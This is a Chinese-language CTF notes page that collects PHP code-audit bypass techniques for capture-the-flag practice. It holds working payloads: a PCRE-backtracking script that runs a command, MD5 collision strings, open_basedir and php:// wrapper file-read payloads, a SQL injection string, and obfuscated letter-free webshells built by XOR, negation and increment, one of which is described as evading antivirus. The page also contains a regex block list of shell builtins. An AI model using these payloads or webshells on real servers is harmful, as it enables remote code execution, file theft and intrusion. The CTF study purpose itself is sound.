CTF-Web【代码审计】做题姿势积累

前言

本篇文章专门用于记录做代码审计类题目的做题姿势,会不断更新。

案例来源于各大师傅们的博客和平时做题遇到。

phpinfo中的相关知识点

disable_functions 禁用的系统函数

PHP开启short_open_tag=on,即可使用短标签

preg_match绕过

1
2
3
4

if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t']))
// 绕过方式:换行绕过
// ?b_u_p_t=23333%0a
1
2
3
4
if (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
// PCRE回溯绕过
1
2
3
4
5
6
# PCRE回溯绕过利用脚本
import requests
url = "http://3f0c0ea0-47c8-4ae8-8f1c-dcd5c21ec12d.node3.buuoj.cn"
payload = '{"cmd": "/bin/cat /home/rceservice/flag", "zz": "'+"a"*(1000000)+'"}'
res = requests.post(url, data={"cmd": payload}, timeout=10)
print(res.text)

md5、sha1绕过

1
2
3
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])
// 绕过方式:数组绕过
// md51[]=1&md52[]=2
1
2
3
4
5
6
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2']))
{
die("success!");
}
// 绕过payload
// param1=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02Sj%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3E%D6%D1mE%AAL4%E1%F2d%CD%E1%073c%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F_D%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%3C%F9%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%90%BC%B5%2F%ED&param2=1%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00+%F7%B9%9D%AB%97o%3F%E9%85%14%1E%A9%88%86%EDm%02S%EA%B1%85%92%5E%07%8E%82Z%97%BC%AD%10%22%C6%CB%D8%CC%8CG%E2%EB%FF%C89%3EV%D2mE%AAL4%E1%F2d%CD%E1%073%E3%04%DA6%1C%BFj%8B%C9%08U%17%22%9D%F3%C5ne%FA%A5%2B%A9%F7%8F%DFD%E22%D0%AD%B5+%CF%06%60%A8%C7%D3%FB%12T%AF%C2%914%B4B%0A%5C%2C%BC%F8%99P%ED%B0%8E%E4%C7%A8%C2%F6%D0%A6%10%BC%B5%2F%ED
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
# 绕过方式:数组绕过
# ?name[]=1&password[]=2

关键字过滤后绕过

_ 的代替字符

[

空格 的代替字符

${IFS} ${IFS}$9 < %09

混淆绕过

比如 cat 可以这样 c""at

json_decode特性

1
可以接收Unicode编码后的字符
1
2
3
4
5
6
7
$js = json_decode('{"name": "\u0068\u0065\u006c\u006c\u006f"}');
print_r($js);
//stdClass Object
//(
// [name] => hello
//)
// 有时候可以用来绕过正则匹配

basename缺陷

1
文件名首尾任何非ASCII码的字符都会被rename函数删除掉

构造无字母webshell的三种方式

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

在ctf中,我们一般遇到上面这种正则,不能传入字母和数字,是不是就不能执行webshell了呢,并不是,p神在他的博客中记录了三种方法,分别是异或、取反、自增。

异或

如果我们要构造 phpinfo POST GET system 这类关键字,我们可以通过 两个没有被过滤的字符进行异或得到。

演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
构造 phpinfo 
p:%FF^%8F
o:%FF^%90
n:%FF^%91
i:%FF^%96
h:%FF^%97
f:%FF^%99

$_=%FF%FF%FF%FF%FF%FF%FF^%8F%97%8F%96%91%99%90;$_(); //$_=phpinfo;$_(); 成功执行phpinfo();

在php5 可以用assert 函数 php7 不能
php5 下
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');// assert
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); //_POST
$___=$$__; //$_POST
$_($___[_]); //assert($_POST[_])
POST _=phpinfo();

![image-20210823153951769](F:\D-学习笔记\BUUCTF WP\image-20210823153951769.png)

生成脚本

python

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

find = ['p','h','i','n','f','o']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$l = "";
$r = "";
$argv = str_split("_GET");
for ($i = 0; $i < count($argv); $i++) {
for ($j = 0; $j < 255; $j++) {
$k = chr($j) ^ chr(255); // dechex(255) = ff
if ($k == $argv[$i]) {
if ($j < 16) {
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
取反

参考

与异或类似,不过它利用的是 UTF-8 编码中的某个汉子 , 将其中的某个字符提取出来 , 进行取反后得到对应字符

生成步骤

  1. 找到 “p“ 对应的 ASCII码,拿到对应的十六进制编码 70

  2. 在前面添加两个十六进制数 . 这个数是任意的 . 然后将它取反 . 在线

    比如这里用 7B,然后就行取反。

    ![image-20210823160420273](F:\D-学习笔记\BUUCTF WP\image-20210823160420273.png)

  3. 将取反后的数字写成 NCR 格式( &#x … ) , 并且将它转换为中文字符 在线

    &#x848f

![image-20210823160541639](F:\D-学习笔记\BUUCTF WP\image-20210823160541639.png)

  1. 带入代码测试 , 取第二个字符( 第一个字符是你任意添加的 ) , 即可得到需要的字符
image-20210823160647121 image-20210823160707432

示范

构建 phpinfo 进行测试

p h i n f o 对应的 十六进制编码 70 68 69 6e 66 6f

加入 7b 取反

原字符 十六进制 取反 转为字符

p 7b70 848F 蒏

h 7b68 8497 蒗

i 7b69 8496 蒖

n 7b6e 8491 蒑

f 7b66 8499 蒙

o 7b6f 8490 蒐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

$_=('>'>'<')+('>'>'<'); //2
$__='';
$___="蒏";$__.=~($___{$_});
$___="蒗";$__.=~($___{$_});
$___="蒏";$__.=~($___{$_});
$___="蒖";$__.=~($___{$_});
$___="蒑";$__.=~($___{$_});
$___="蒙";$__.=~($___{$_});
$___="蒐";$__.=~($___{$_});

// phpinfo();
$__();

p神的例子

$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);
POST 2=phpinf();

![image-20210824093035835](F:\D-学习笔记\BUUCTF WP\image-20210824093035835.png)

注意事项:这个写在php文件中能直接运行,通过GET传参就报错 eval()'d code:1 Stack trace:,经过多次测试,需要进行url编码提交才不会报错。

递增运算得到对应字符

这个就直接上代码,方式不一样,目的一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
p神案例 // ASSERT($_POST[_]); 这个仅支持 php5 php7 需要更换assert 为其他代码执行函数 
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]);
POST _=phpinfo();

// 自己构造的命令执行 (SYSTEM)($_POST[_]); 函数自调用 需要php7.0 以上

<?=$_=[]?>
<?=$_="$_"?>
<?=$_=$_['!'=='@']?>
<?=$___=$_?>
<?=$__=$_?>

<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____=$__++?>
<?=$__++?><?=$__++?><?=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$_____=$__++?>
<?=$__++?>
<?=$______=$__++?>
<?=$_______=$__++?>
<?=$__++?> <?=$__++?>
<?=$________=$__++?>
<?=$_________________=$__++?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$__________=$__++?>
<?=$_________=$________.$__________.$________.$_________________.$____.$_____?>
<?=($_________)(${'_'.$_______.$______.$________.$_________________}[_])?>

// 可做免杀马 不能直接POST提交 会报 Parse error: syntax error, unexpected '<', expecting end of file in
// 编码也没用

![image-20210824104232105](F:\D-学习笔记\BUUCTF WP\image-20210824104232105.png)

绕过 open_basedir/disable_function

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若”open_basedir = /dir/user”, 那么目录 “/dir/user” 和 “/dir/user1”都是可以访问的。
所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

payload

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

也可以用蚁剑 disable_functions 插件绕过

php伪协议

file://

用于访问文件(绝对路径、相对路径、网络路径)

1
http://www.xx.com?file=file:///etc/passswd

php://

访问输入输出流

1
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

参数

1
2
3
4
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

php://input

1
2
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:<?php phpinfo()?>

注意:enctype="multipart/form-data" 的时候 php://input 是无效的

data://

自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

1
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

来源:https://www.cnblogs.com/wjrblogs/p/12285202.html

extract变量覆盖

SESSION验证绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$flag = "flag";

session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
# ?password=
# 初始状态session为空,因此password也传入空值即可

md5加密相等绕过

1
2
3
4
5
6
7
8
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
// 都返回 bool(true)

md5函数true绕过注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
1
2
3
4
?password=ffifdyop
只需md5($password,true)包含' or 'xxx这样的字符即可绕过,SQL即变成:
SELECT * FROM admin WHERE pass = '' or 'xxx'
字符串ffifdyop,md5后为276f722736c95d99e921722cf9ed621c,hex转换为字符串为:'or'6<trash>

代码审计绕过特殊案例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
include "flag.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");//这里涉及超全局变量的使用
}
?>
1
?args=GLOBALS

通过json_decode特性绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
1
message={"key":true}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if (empty($_GET['b'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>
1
?b=a[0]=s878926199a
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag...");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
1
2
3
user[]=1&name[]=1&password[]=2&id=72.0&login=Check
or
user[]=1&name[]=1&password[]=2&id=072&login=Check